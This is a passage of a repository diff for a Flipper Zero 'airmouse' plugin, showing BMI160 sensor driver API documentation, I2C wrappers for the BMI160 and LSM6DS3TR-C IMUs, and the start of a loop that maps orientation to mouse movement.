* @note : Refer user guide for detailed info.
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t bmi160_aux_read(
uint8_t reg_addr,
uint8_t* aux_data,
uint16_t len,
const struct bmi160_dev* dev);
/*!
* \ingroup bmi160ApiAux
* \page bmi160_api_bmi160_aux_write bmi160_aux_write
* \code
* int8_t bmi160_aux_write(uint8_t reg_addr, uint8_t *aux_data, uint16_t len, const struct bmi160_dev *dev);
* \endcode
* @details This API writes the mention no of byte of data to the given
* register address of auxiliary sensor.
*
* @param[in] reg_addr : Address of register to write.
* @param[in] aux_data : Pointer to write data.
* @param[in] len : No of bytes to write.
* @param[in] dev : Structure instance of bmi160_dev.
* @note : Refer user guide for detailed info.
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t bmi160_aux_write(
uint8_t reg_addr,
uint8_t* aux_data,
uint16_t len,
const struct bmi160_dev* dev);
/*!
* \ingroup bmi160ApiAux
* \page bmi160_api_bmi160_aux_init bmi160_aux_init
* \code
* int8_t bmi160_aux_init(const struct bmi160_dev *dev);
* \endcode
* @details This API initialize the auxiliary sensor
* in order to access it.
*
* @param[in] dev : Structure instance of bmi160_dev.
* @note : Refer user guide for detailed info.
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t bmi160_aux_init(const struct bmi160_dev* dev);
/*!
* \ingroup bmi160ApiAux
* \page bmi160_api_bmi160_set_aux_auto_mode bmi160_set_aux_auto_mode
* \code
* int8_t bmi160_set_aux_auto_mode(uint8_t *data_addr, struct bmi160_dev *dev);
* \endcode
* @details This API is used to setup the auxiliary sensor of bmi160 in auto mode
* Thus enabling the auto update of 8 bytes of data from auxiliary sensor
* to BMI160 register address 0x04 to 0x0B
*
* @param[in] data_addr : Starting address of aux. sensor's data register
* (BMI160 registers 0x04 to 0x0B will be updated
* with 8 bytes of data from auxiliary sensor
* starting from this register address.)
* @param[in] dev : Structure instance of bmi160_dev.
*
* @note : Set the value of auxiliary polling rate by setting
* dev->aux_cfg.aux_odr to the required value from the table
* before calling this API
*
*@verbatim
* dev->aux_cfg.aux_odr | Auxiliary ODR (Hz)
* -----------------------|-----------------------
* BMI160_AUX_ODR_0_78HZ | 25/32
* BMI160_AUX_ODR_1_56HZ | 25/16
* BMI160_AUX_ODR_3_12HZ | 25/8
* BMI160_AUX_ODR_6_25HZ | 25/4
* BMI160_AUX_ODR_12_5HZ | 25/2
* BMI160_AUX_ODR_25HZ | 25
* BMI160_AUX_ODR_50HZ | 50
* BMI160_AUX_ODR_100HZ | 100
* BMI160_AUX_ODR_200HZ | 200
* BMI160_AUX_ODR_400HZ | 400
* BMI160_AUX_ODR_800HZ | 800
*@endverbatim
*
* @note : Other values of dev->aux_cfg.aux_odr are reserved and not for use
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t bmi160_set_aux_auto_mode(uint8_t* data_addr, struct bmi160_dev* dev);
/*!
* \ingroup bmi160ApiAux
* \page bmi160_api_bmi160_config_aux_mode bmi160_config_aux_mode
* \code
* int8_t bmi160_config_aux_mode(const struct bmi160_dev *dev);
* \endcode
* @details This API configures the 0x4C register and settings like
* Auxiliary sensor manual enable/ disable and aux burst read length.
*
* @param[in] dev : Structure instance of bmi160_dev.
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t bmi160_config_aux_mode(const struct bmi160_dev* dev);
/*!
* \ingroup bmi160ApiAux
* \page bmi160_api_bmi160_read_aux_data_auto_mode bmi160_read_aux_data_auto_mode
* \code
* int8_t bmi160_read_aux_data_auto_mode(uint8_t *aux_data, const struct bmi160_dev *dev);
* \endcode
* @details This API is used to read the raw uncompensated auxiliary sensor
* data of 8 bytes from BMI160 register address 0x04 to 0x0B
*
* @param[in] aux_data : Pointer to user array of length 8 bytes
* Ensure that the aux_data array is of
* length 8 bytes
* @param[in] dev : Structure instance of bmi160_dev
*
* @retval zero -> Success / -ve value -> Error
* @retval Zero Success
* @retval Negative Error
*/
int8_t bmi160_read_aux_data_auto_mode(uint8_t* aux_data, const struct bmi160_dev* dev);
/**
* \ingroup bmi160
* \defgroup bmi160ApiSelfTest Self test
* @brief Perform self test of the sensor
*/
/*!
* \ingroup bmi160ApiSelfTest
* \page bmi160_api_bmi160_perform_self_test bmi160_perform_self_test
* \code
* int8_t bmi160_perform_self_test(uint8_t select_sensor, struct bmi160_dev *dev);
* \endcode
* @details This is used to perform self test of accel/gyro of the BMI160 sensor
*
* @param[in] select_sensor : enum to choose accel or gyro for self test
* @param[in] dev : Structure instance of bmi160_dev
*
* @note self test can be performed either for accel/gyro at any instant.
*
*@verbatim
* value of select_sensor | Inference
*----------------------------------|--------------------------------
* BMI160_ACCEL_ONLY | Accel self test enabled
* BMI160_GYRO_ONLY | Gyro self test enabled
* BMI160_BOTH_ACCEL_AND_GYRO | NOT TO BE USED
*@endverbatim
*
* @note The return value of this API gives us the result of self test.
*
* @note Performing self test does soft reset of the sensor, User can
* set the desired settings after performing the self test.
*
* @return Result of API execution status
* @retval BMI160_OK Self test success
* @retval BMI160_W_GYRO_SELF_TEST_FAIL Gyro self test fail
* @retval BMI160_W_ACCEl_SELF_TEST_FAIL Accel self test fail
*/
int8_t bmi160_perform_self_test(uint8_t select_sensor, struct bmi160_dev* dev);
/**
* \ingroup bmi160
* \defgroup bmi160ApiFIFO FIFO
* @brief FIFO operations of the sensor
*/
/*!
* \ingroup bmi160ApiFIFO
* \page bmi160_api_bmi160_get_fifo_data bmi160_get_fifo_data
* \code
* int8_t bmi160_get_fifo_data(struct bmi160_dev const *dev);
* \endcode
* @details This API reads data from the fifo buffer.
*
* @note User has to allocate the FIFO buffer along with
* corresponding fifo length from his side before calling this API
* as mentioned in the readme.md
*
* @note User must specify the number of bytes to read from the FIFO in
* dev->fifo->length , It will be updated by the number of bytes actually
* read from FIFO after calling this API
*
* @param[in] dev : Structure instance of bmi160_dev.
*
* @return Result of API execution status
* @retval Zero Success
* @retval Negative Error
*/
int8_t bmi160_get_fifo_data(struct bmi160_dev const* dev);
/*!
* \ingroup bmi160ApiFIFO
* \page bmi160_api_bmi160_set_fifo_flush bmi160_set_fifo_flush
* \code
* int8_t bmi160_set_fifo_flush(const struct bmi160_dev *dev);
* \endcode
* @details This API writes fifo_flush command to command register.This
* action clears all data in the Fifo without changing fifo configuration
* settings.
*
* @param[in] dev : Structure instance of bmi160_dev
*
* @return Result of API execution status
* @retval 0 -> Success
* @retval Any non zero value -> Fail
*
*/
int8_t bmi160_set_fifo_flush(const struct bmi160_dev* dev);
/*!
* \ingroup bmi160ApiFIFO
* \page bmi160_api_bmi160_set_fifo_config bmi160_set_fifo_config
* \code
* int8_t bmi160_set_fifo_config(uint8_t config, uint8_t enable, struct bmi160_dev const *dev);
* \endcode
* @details This API sets the FIFO configuration in the sensor.
*
* @param[in] config : variable used to specify the FIFO
* configurations which are to be enabled or disabled in the sensor.
*
* @note : User can set either set one or more or all FIFO configurations
* by ORing the below mentioned macros.
*
*@verbatim
* config | Value
* ------------------------|---------------------------
* BMI160_FIFO_TIME | 0x02
* BMI160_FIFO_TAG_INT2 | 0x04
* BMI160_FIFO_TAG_INT1 | 0x08
* BMI160_FIFO_HEADER | 0x10
* BMI160_FIFO_AUX | 0x20
* BMI160_FIFO_ACCEL | 0x40
* BMI160_FIFO_GYRO | 0x80
*@endverbatim
*
* @param[in] enable : Parameter used to enable or disable the above
* FIFO configuration
* @param[in] dev : Structure instance of bmi160_dev.
*
* @return status of bus communication result
* @retval 0 -> Success
* @retval Any non zero value -> Fail
*
*/
int8_t bmi160_set_fifo_config(uint8_t config, uint8_t enable, struct bmi160_dev const* dev);
/*!
* \ingroup bmi160ApiFIFO
* \page bmi160_api_bmi160_set_fifo_down bmi160_set_fifo_down
* \code
* int8_t bmi160_set_fifo_down(uint8_t fifo_down, const struct bmi160_dev *dev);
* \endcode
* @details This API is used to configure the down sampling ratios of
* the accel and gyro data for FIFO.Also, it configures filtered or
* pre-filtered data for the fifo for accel and gyro.
*
* @param[in] fifo_down : variable used to specify the FIFO down
* configurations which are to be enabled or disabled in the sensor.
*
* @note The user must select one among the following macros to
* select down-sampling ratio for accel
*
*@verbatim
* config | Value
* -------------------------------------|---------------------------
* BMI160_ACCEL_FIFO_DOWN_ZERO | 0x00
* BMI160_ACCEL_FIFO_DOWN_ONE | 0x10
* BMI160_ACCEL_FIFO_DOWN_TWO | 0x20
* BMI160_ACCEL_FIFO_DOWN_THREE | 0x30
* BMI160_ACCEL_FIFO_DOWN_FOUR | 0x40
* BMI160_ACCEL_FIFO_DOWN_FIVE | 0x50
* BMI160_ACCEL_FIFO_DOWN_SIX | 0x60
* BMI160_ACCEL_FIFO_DOWN_SEVEN | 0x70
*@endverbatim
*
* @note The user must select one among the following macros to
* select down-sampling ratio for gyro
*
*@verbatim
* config | Value
* -------------------------------------|---------------------------
* BMI160_GYRO_FIFO_DOWN_ZERO | 0x00
* BMI160_GYRO_FIFO_DOWN_ONE | 0x01
* BMI160_GYRO_FIFO_DOWN_TWO | 0x02
* BMI160_GYRO_FIFO_DOWN_THREE | 0x03
* BMI160_GYRO_FIFO_DOWN_FOUR | 0x04
* BMI160_GYRO_FIFO_DOWN_FIVE | 0x05
* BMI160_GYRO_FIFO_DOWN_SIX | 0x06
* BMI160_GYRO_FIFO_DOWN_SEVEN | 0x07
*@endverbatim
*
* @note The user can enable filtered accel data by the following macro
*
*@verbatim
* config | Value
* -------------------------------------|---------------------------
* BMI160_ACCEL_FIFO_FILT_EN | 0x80
*@endverbatim
*
* @note The user can enable filtered gyro data by the following macro
*
*@verbatim
* config | Value
* -------------------------------------|---------------------------
* BMI160_GYRO_FIFO_FILT_EN | 0x08
*@endverbatim
*
* @note : By ORing the above mentioned macros, the user can select
* the required FIFO down config settings
*
* @param[in] dev : Structure instance of bmi160_dev.
*
* @return status of bus communication result
* @retval 0 -> Success
* @retval Any non zero value -> Fail
*
*/
int8_t bmi160_set_fifo_down(uint8_t fifo_down, const struct bmi160_dev* dev);
/*!
* \ingroup bmi160ApiFIFO
* \page bmi160_api_bmi160_set_fifo_wm bmi160_set_fifo_wm
* \code
* int8_t bmi160_set_fifo_wm(uint8_t fifo_wm, const struct bmi160_dev *dev);
* \endcode
* @details This API sets the FIFO watermark level in the sensor.
*
* @note The FIFO watermark is issued when the FIFO fill level is
* equal or above the watermark level and units of watermark is 4 bytes.
*
* @param[in] fifo_wm : Variable used to set the FIFO water mark level
* @param[in] dev : Structure instance of bmi160_dev
*
* @return Result of API execution status
* @retval 0 -> Success
* @retval Any non zero value -> Fail
*
*/
int8_t bmi160_set_fifo_wm(uint8_t fifo_wm, const struct bmi160_dev* dev);
/*!
* \ingroup bmi160ApiFIFO
* \page bmi160_api_bmi160_extract_accel bmi160_extract_accel
* \code
* int8_t bmi160_extract_accel(struct bmi160_sensor_data *accel_data, uint8_t *accel_length, struct bmi160_dev const
**dev);
* \endcode
* @details This API parses and extracts the accelerometer frames from
* FIFO data read by the "bmi160_get_fifo_data" API and stores it in
* the "accel_data" structure instance.
*
* @note The bmi160_extract_accel API should be called only after
* reading the FIFO data by calling the bmi160_get_fifo_data() API.
*
* @param[out] accel_data : Structure instance of bmi160_sensor_data
* where the accelerometer data in FIFO is stored.
* @param[in,out] accel_length : Number of valid accelerometer frames
* (x,y,z axes data) read out from fifo.
* @param[in] dev : Structure instance of bmi160_dev.
*
* @note accel_length is updated with the number of valid accelerometer
* frames extracted from fifo (1 accel frame = 6 bytes) at the end of
* execution of this API.
*
* @return Result of API execution status
* @retval 0 -> Success
* @retval Any non zero value -> Fail
*
*/
int8_t bmi160_extract_accel(
struct bmi160_sensor_data* accel_data,
uint8_t* accel_length,
struct bmi160_dev const* dev);
/*!
* \ingroup bmi160ApiFIFO
* \page bmi160_api_bmi160_extract_gyro bmi160_extract_gyro
* \code
* int8_t bmi160_extract_gyro(struct bmi160_sensor_data *gyro_data, uint8_t *gyro_length, struct bmi160_dev const *dev);
* \endcode
* @details This API parses and extracts the gyro frames from
* FIFO data read by the "bmi160_get_fifo_data" API and stores it in
* the "gyro_data" structure instance.
*
* @note The bmi160_extract_gyro API should be called only after
* reading the FIFO data by calling the bmi160_get_fifo_data() API.
*
* @param[out] gyro_data : Structure instance of bmi160_sensor_data
* where the gyro data in FIFO is stored.
* @param[in,out] gyro_length : Number of valid gyro frames
* (x,y,z axes data) read out from fifo.
* @param[in] dev : Structure instance of bmi160_dev.
*
* @note gyro_length is updated with the number of valid gyro
* frames extracted from fifo (1 gyro frame = 6 bytes) at the end of
* execution of this API.
*
* @return Result of API execution status
* @retval 0 -> Success
* @retval Any non zero value -> Fail
*
*/
int8_t bmi160_extract_gyro(
struct bmi160_sensor_data* gyro_data,
uint8_t* gyro_length,
struct bmi160_dev const* dev);
/*!
* \ingroup bmi160ApiFIFO
* \page bmi160_api_bmi160_extract_aux bmi160_extract_aux
* \code
* int8_t bmi160_extract_aux(struct bmi160_aux_data *aux_data, uint8_t *aux_len, struct bmi160_dev const *dev);
* \endcode
* @details This API parses and extracts the aux frames from
* FIFO data read by the "bmi160_get_fifo_data" API and stores it in
* the bmi160_aux_data structure instance.
*
* @note The bmi160_extract_aux API should be called only after
* reading the FIFO data by calling the bmi160_get_fifo_data() API.
*
* @param[out] aux_data : Structure instance of bmi160_aux_data
* where the aux data in FIFO is stored.
* @param[in,out] aux_len : Number of valid aux frames (8bytes)
* read out from FIFO.
* @param[in] dev : Structure instance of bmi160_dev.
*
* @note aux_len is updated with the number of valid aux
* frames extracted from fifo (1 aux frame = 8 bytes) at the end of
* execution of this API.
*
* @return Result of API execution status
* @retval 0 -> Success
* @retval Any non zero value -> Fail
*
*/
int8_t bmi160_extract_aux(
struct bmi160_aux_data* aux_data,
uint8_t* aux_len,
struct bmi160_dev const* dev);
/**
* \ingroup bmi160
* \defgroup bmi160ApiFOC FOC
* @brief Start FOC of accel and gyro sensors
*/
/*!
* \ingroup bmi160ApiFOC
* \page bmi160_api_bmi160_start_foc bmi160_start_foc
* \code
* int8_t bmi160_start_foc(const struct bmi160_foc_conf *foc_conf,
* \endcode
* @details This API starts the FOC of accel and gyro
*
* @note FOC should not be used in low-power mode of sensor
*
* @note Accel FOC targets values of +1g , 0g , -1g
* Gyro FOC always targets value of 0 dps
*
* @param[in] foc_conf : Structure instance of bmi160_foc_conf which
* has the FOC configuration
* @param[in,out] offset : Structure instance to store Offset
* values read from sensor
* @param[in] dev : Structure instance of bmi160_dev.
*
* @note Pre-requisites for triggering FOC in accel , Set the following,
* Enable the acc_off_en
* Ex : foc_conf.acc_off_en = BMI160_ENABLE;
*
* Set the desired target values of FOC to each axes (x,y,z) by using the
* following macros
* - BMI160_FOC_ACCEL_DISABLED
* - BMI160_FOC_ACCEL_POSITIVE_G
* - BMI160_FOC_ACCEL_NEGATIVE_G
* - BMI160_FOC_ACCEL_0G
*
* Ex : foc_conf.foc_acc_x = BMI160_FOC_ACCEL_0G;
* foc_conf.foc_acc_y = BMI160_FOC_ACCEL_0G;
* foc_conf.foc_acc_z = BMI160_FOC_ACCEL_POSITIVE_G;
*
* @note Pre-requisites for triggering FOC in gyro ,
* Set the following parameters,
*
* Ex : foc_conf.foc_gyr_en = BMI160_ENABLE;
* foc_conf.gyro_off_en = BMI160_ENABLE;
*
* @return Result of API execution status
* @retval 0 -> Success
* @retval Any non zero value -> Fail
*/
int8_t bmi160_start_foc(
const struct bmi160_foc_conf* foc_conf,
struct bmi160_offsets* offset,
struct bmi160_dev const* dev);
/**
* \ingroup bmi160
* \defgroup bmi160ApiOffsets Offsets
* @brief Set / Get offset values of accel and gyro sensors
*/
/*!
* \ingroup bmi160ApiOffsets
* \page bmi160_api_bmi160_get_offsets bmi160_get_offsets
* \code
* int8_t bmi160_get_offsets(struct bmi160_offsets *offset, const struct bmi160_dev *dev);
* \endcode
* @details This API reads and stores the offset values of accel and gyro
*
* @param[in,out] offset : Structure instance of bmi160_offsets in which
* the offset values are read and stored
* @param[in] dev : Structure instance of bmi160_dev.
*
* @return Result of API execution status
* @retval 0 -> Success
* @retval Any non zero value -> Fail
*/
int8_t bmi160_get_offsets(struct bmi160_offsets* offset, const struct bmi160_dev* dev);
/*!
* \ingroup bmi160ApiOffsets
* \page bmi160_api_bmi160_set_offsets bmi160_set_offsets
* \code
* int8_t bmi160_set_offsets(const struct bmi160_foc_conf *foc_conf,
* const struct bmi160_offsets *offset,
* struct bmi160_dev const *dev);
* \endcode
* @details This API writes the offset values of accel and gyro to
* the sensor but these values will be reset on POR or soft reset.
*
* @param[in] foc_conf : Structure instance of bmi160_foc_conf which
* has the FOC configuration
* @param[in] offset : Structure instance in which user updates offset
* values which are to be written in the sensor
* @param[in] dev : Structure instance of bmi160_dev.
*
* @note Offsets can be set by user like offset->off_acc_x = 10;
* where 1LSB = 3.9mg and for gyro 1LSB = 0.061degrees/second
*
* @note BMI160 offset values for xyz axes of accel should be within range of
* BMI160_ACCEL_MIN_OFFSET (-128) to BMI160_ACCEL_MAX_OFFSET (127)
*
* @note BMI160 offset values for xyz axes of gyro should be within range of
* BMI160_GYRO_MIN_OFFSET (-512) to BMI160_GYRO_MAX_OFFSET (511)
*
* @return Result of API execution status
* @retval 0 -> Success
* @retval Any non zero value -> Fail
*/
int8_t bmi160_set_offsets(
const struct bmi160_foc_conf* foc_conf,
const struct bmi160_offsets* offset,
struct bmi160_dev const* dev);
/**
* \ingroup bmi160
* \defgroup bmi160ApiNVM NVM
* @brief Write image registers values to NVM
*/
/*!
* \ingroup bmi160ApiNVM
* \page bmi160_api_bmi160_update_nvm bmi160_update_nvm
* \code
* int8_t bmi160_update_nvm(struct bmi160_dev const *dev);
* \endcode
* @details This API writes the image registers values to NVM which is
* stored even after POR or soft reset
*
* @param[in] dev : Structure instance of bmi160_dev.
*
* @return Result of API execution status
* @retval 0 -> Success
* @retval Any non zero value -> Fail
*/
int8_t bmi160_update_nvm(struct bmi160_dev const* dev);
/**
* \ingroup bmi160
* \defgroup bmi160ApiInts Interrupt status
* @brief Read interrupt status from the sensor
*/
/*!
* \ingroup bmi160ApiInts
* \page bmi160_api_bmi160_get_int_status bmi160_get_int_status
* \code
* int8_t bmi160_get_int_status(enum bmi160_int_status_sel int_status_sel,
* union bmi160_int_status *int_status,
* struct bmi160_dev const *dev);
* \endcode
* @details This API gets the interrupt status from the sensor.
*
* @param[in] int_status_sel : Enum variable to select either individual or all the
* interrupt status bits.
* @param[in] int_status : pointer variable to get the interrupt status
* from the sensor.
* param[in] dev : Structure instance of bmi160_dev.
*
* @return Result of API execution status
* @retval 0 -> Success
* @retval Any non zero value -> Fail
*/
int8_t bmi160_get_int_status(
enum bmi160_int_status_sel int_status_sel,
union bmi160_int_status* int_status,
struct bmi160_dev const* dev);
/*************************** C++ guard macro *****************************/
#ifdef __cplusplus
}
#endif
#endif /* BMI160_H_ */
applications/plugins/airmouse/tracking/imu/bmi160_defs.h
+1619
View File
File diff suppressed because it is too large Load Diff
applications/plugins/airmouse/tracking/imu/imu.c
+29
View File
@@ -0,0 +1,29 @@
#include "imu.h"
#include <furi_hal.h>
bool bmi160_begin();
int bmi160_read(double* vec);
bool lsm6ds3trc_begin();
void lsm6ds3trc_end();
int lsm6ds3trc_read(double* vec);
bool imu_begin() {
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
bool ret = bmi160_begin(); // lsm6ds3trc_begin();
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
return ret;
}
void imu_end() {
// furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
// lsm6ds3trc_end();
// furi_hal_i2c_release(&furi_hal_i2c_handle_external);
}
int imu_read(double* vec) {
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
int ret = bmi160_read(vec); // lsm6ds3trc_read(vec);
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
return ret;
}
applications/plugins/airmouse/tracking/imu/imu.h
+18
View File
@@ -0,0 +1,18 @@
#pragma once
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
#define ACC_DATA_READY (1 << 0)
#define GYR_DATA_READY (1 << 1)
bool imu_begin();
void imu_end();
int imu_read(double* vec);
#ifdef __cplusplus
}
#endif
applications/plugins/airmouse/tracking/imu/imu_bmi160.c
+88
View File
@@ -0,0 +1,88 @@
#include "bmi160.h"
#include <furi_hal.h>
#include "imu.h"
#define TAG "BMI160"
#define BMI160_DEV_ADDR (0x69 << 1)
static const double DEG_TO_RAD = 0.017453292519943295769236907684886;
static const double G = 9.81;
struct bmi160_dev bmi160dev;
struct bmi160_sensor_data bmi160_accel;
struct bmi160_sensor_data bmi160_gyro;
int8_t bmi160_write_i2c(uint8_t dev_addr, uint8_t reg_addr, uint8_t* data, uint16_t len) {
if(furi_hal_i2c_write_mem(&furi_hal_i2c_handle_external, dev_addr, reg_addr, data, len, 50))
return BMI160_OK;
return BMI160_E_COM_FAIL;
}
int8_t bmi160_read_i2c(uint8_t dev_addr, uint8_t reg_addr, uint8_t* read_data, uint16_t len) {
if(furi_hal_i2c_read_mem(&furi_hal_i2c_handle_external, dev_addr, reg_addr, read_data, len, 50))
return BMI160_OK;
return BMI160_E_COM_FAIL;
}
bool bmi160_begin() {
FURI_LOG_I(TAG, "Init BMI160");
if(!furi_hal_i2c_is_device_ready(&furi_hal_i2c_handle_external, BMI160_DEV_ADDR, 50)) {
FURI_LOG_E(TAG, "Device not ready!");
return false;
}
FURI_LOG_I(TAG, "Device ready!");
bmi160dev.id = BMI160_DEV_ADDR;
bmi160dev.intf = BMI160_I2C_INTF;
bmi160dev.read = bmi160_read_i2c;
bmi160dev.write = bmi160_write_i2c;
bmi160dev.delay_ms = furi_delay_ms;
if(bmi160_init(&bmi160dev) != BMI160_OK) {
FURI_LOG_E(TAG, "Initialization failure!");
FURI_LOG_E(TAG, "Chip ID 0x%X", bmi160dev.chip_id);
return false;
}
bmi160dev.accel_cfg.odr = BMI160_ACCEL_ODR_400HZ;
bmi160dev.accel_cfg.range = BMI160_ACCEL_RANGE_4G;
bmi160dev.accel_cfg.bw = BMI160_ACCEL_BW_NORMAL_AVG4;
bmi160dev.accel_cfg.power = BMI160_ACCEL_NORMAL_MODE;
bmi160dev.gyro_cfg.odr = BMI160_GYRO_ODR_400HZ;
bmi160dev.gyro_cfg.range = BMI160_GYRO_RANGE_2000_DPS;
bmi160dev.gyro_cfg.bw = BMI160_GYRO_BW_NORMAL_MODE;
bmi160dev.gyro_cfg.power = BMI160_GYRO_NORMAL_MODE;
if(bmi160_set_sens_conf(&bmi160dev) != BMI160_OK) {
FURI_LOG_E(TAG, "Initialization failure!");
FURI_LOG_E(TAG, "Chip ID 0x%X", bmi160dev.chip_id);
return false;
}
FURI_LOG_I(TAG, "Initialization success!");
FURI_LOG_I(TAG, "Chip ID 0x%X", bmi160dev.chip_id);
return true;
}
int bmi160_read(double* vec) {
if(bmi160_get_sensor_data(
(BMI160_ACCEL_SEL | BMI160_GYRO_SEL), &bmi160_accel, &bmi160_gyro, &bmi160dev) !=
BMI160_OK) {
return 0;
}
vec[0] = ((double)bmi160_accel.x * 4 / 32768) * G;
vec[1] = ((double)bmi160_accel.y * 4 / 32768) * G;
vec[2] = ((double)bmi160_accel.z * 4 / 32768) * G;
vec[3] = ((double)bmi160_gyro.x * 2000 / 32768) * DEG_TO_RAD;
vec[4] = ((double)bmi160_gyro.y * 2000 / 32768) * DEG_TO_RAD;
vec[5] = ((double)bmi160_gyro.z * 2000 / 32768) * DEG_TO_RAD;
return ACC_DATA_READY | GYR_DATA_READY;
}
applications/plugins/airmouse/tracking/imu/imu_lsm6ds3trc.c
+94
View File
@@ -0,0 +1,94 @@
#include "lsm6ds3tr_c_reg.h"
#include <furi_hal.h>
#include "imu.h"
#define TAG "LSM6DS3TR-C"
#define LSM6DS3_ADDRESS (0x6A << 1)
static const double DEG_TO_RAD = 0.017453292519943295769236907684886;
stmdev_ctx_t lsm6ds3trc_ctx;
int32_t lsm6ds3trc_write_i2c(void* handle, uint8_t reg_addr, const uint8_t* data, uint16_t len) {
if(furi_hal_i2c_write_mem(handle, LSM6DS3_ADDRESS, reg_addr, (uint8_t*)data, len, 50))
return 0;
return -1;
}
int32_t lsm6ds3trc_read_i2c(void* handle, uint8_t reg_addr, uint8_t* read_data, uint16_t len) {
if(furi_hal_i2c_read_mem(handle, LSM6DS3_ADDRESS, reg_addr, read_data, len, 50)) return 0;
return -1;
}
bool lsm6ds3trc_begin() {
FURI_LOG_I(TAG, "Init LSM6DS3TR-C");
if(!furi_hal_i2c_is_device_ready(&furi_hal_i2c_handle_external, LSM6DS3_ADDRESS, 50)) {
FURI_LOG_E(TAG, "Not ready");
return false;
}
lsm6ds3trc_ctx.write_reg = lsm6ds3trc_write_i2c;
lsm6ds3trc_ctx.read_reg = lsm6ds3trc_read_i2c;
lsm6ds3trc_ctx.mdelay = furi_delay_ms;
lsm6ds3trc_ctx.handle = &furi_hal_i2c_handle_external;
uint8_t whoami;
lsm6ds3tr_c_device_id_get(&lsm6ds3trc_ctx, &whoami);
if(whoami != LSM6DS3TR_C_ID) {
FURI_LOG_I(TAG, "Unknown model: %x", (int)whoami);
return false;
}
lsm6ds3tr_c_reset_set(&lsm6ds3trc_ctx, PROPERTY_ENABLE);
uint8_t rst = PROPERTY_ENABLE;
while(rst) lsm6ds3tr_c_reset_get(&lsm6ds3trc_ctx, &rst);
lsm6ds3tr_c_block_data_update_set(&lsm6ds3trc_ctx, PROPERTY_ENABLE);
lsm6ds3tr_c_fifo_mode_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_BYPASS_MODE);
lsm6ds3tr_c_xl_data_rate_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_XL_ODR_104Hz);
lsm6ds3tr_c_xl_full_scale_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_4g);
lsm6ds3tr_c_xl_lp1_bandwidth_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_XL_LP1_ODR_DIV_4);
lsm6ds3tr_c_gy_data_rate_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_GY_ODR_104Hz);
lsm6ds3tr_c_gy_full_scale_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_2000dps);
lsm6ds3tr_c_gy_power_mode_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_GY_HIGH_PERFORMANCE);
lsm6ds3tr_c_gy_band_pass_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_LP2_ONLY);
FURI_LOG_I(TAG, "Init OK");
return true;
}
void lsm6ds3trc_end() {
lsm6ds3tr_c_xl_data_rate_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_XL_ODR_OFF);
lsm6ds3tr_c_gy_data_rate_set(&lsm6ds3trc_ctx, LSM6DS3TR_C_GY_ODR_OFF);
}
int lsm6ds3trc_read(double* vec) {
int ret = 0;
int16_t data[3];
lsm6ds3tr_c_reg_t reg;
lsm6ds3tr_c_status_reg_get(&lsm6ds3trc_ctx, &reg.status_reg);
if(reg.status_reg.xlda) {
lsm6ds3tr_c_acceleration_raw_get(&lsm6ds3trc_ctx, data);
vec[2] = (double)lsm6ds3tr_c_from_fs2g_to_mg(data[0]) / 1000;
vec[0] = (double)lsm6ds3tr_c_from_fs2g_to_mg(data[1]) / 1000;
vec[1] = (double)lsm6ds3tr_c_from_fs2g_to_mg(data[2]) / 1000;
ret |= ACC_DATA_READY;
}
if(reg.status_reg.gda) {
lsm6ds3tr_c_angular_rate_raw_get(&lsm6ds3trc_ctx, data);
vec[5] = (double)lsm6ds3tr_c_from_fs2000dps_to_mdps(data[0]) * DEG_TO_RAD / 1000;
vec[3] = (double)lsm6ds3tr_c_from_fs2000dps_to_mdps(data[1]) * DEG_TO_RAD / 1000;
vec[4] = (double)lsm6ds3tr_c_from_fs2000dps_to_mdps(data[2]) * DEG_TO_RAD / 1000;
ret |= GYR_DATA_READY;
}
return ret;
}
applications/plugins/airmouse/tracking/imu/lsm6ds3tr_c_reg.c
+7105
View File
File diff suppressed because it is too large Load Diff
applications/plugins/airmouse/tracking/imu/lsm6ds3tr_c_reg.h
+2448
View File
File diff suppressed because it is too large Load Diff
applications/plugins/airmouse/tracking/main_loop.cc
+189
View File
@@ -0,0 +1,189 @@
#include "main_loop.h"
#include <furi.h>
#include <furi_hal.h>
#include "imu/imu.h"
#include "orientation_tracker.h"
#include "calibration_data.h"
#define TAG "tracker"
static const float CURSOR_SPEED = 1024.0 / (M_PI / 4);
static const float STABILIZE_BIAS = 16.0;
float g_yaw = 0;
float g_pitch = 0;
float g_dYaw = 0;
float g_dPitch = 0;
bool firstRead = true;
bool stabilize = true;
CalibrationData calibration;
cardboard::OrientationTracker tracker(10000000l); // 10 ms / 100 Hz
uint64_t ippms, ippms2;
static inline float clamp(float val)
{
while (val <= -M_PI) {
val += 2 * M_PI;
}
while (val >= M_PI) {
val -= 2 * M_PI;
}
return val;
}
static inline float highpass(float oldVal, float newVal)
{
if (!stabilize) {
return newVal;
}
float delta = clamp(oldVal - newVal);
float alpha = (float) std::max(0.0, 1 - std::pow(std::fabs(delta) * CURSOR_SPEED / STABILIZE_BIAS, 3.0));
return newVal + alpha * delta;
}
void sendCurrentState(MouseMoveCallback mouse_move, void *context)
{
float dX = g_dYaw * CURSOR_SPEED;
float dY = g_dPitch * CURSOR_SPEED;
// Scale the shift down to fit the protocol.
if (dX > 127) {
dY *= 127.0 / dX;
dX = 127;
}
if (dX < -127) {
dY *= -127.0 / dX;
dX = -127;
}
if (dY > 127) {
dX *= 127.0 / dY;
dY = 127;
}
if (dY < -127) {
dX *= -127.0 / dY;
dY = -127;
}
const int8_t x = (int8_t)std::floor(dX + 0.5);
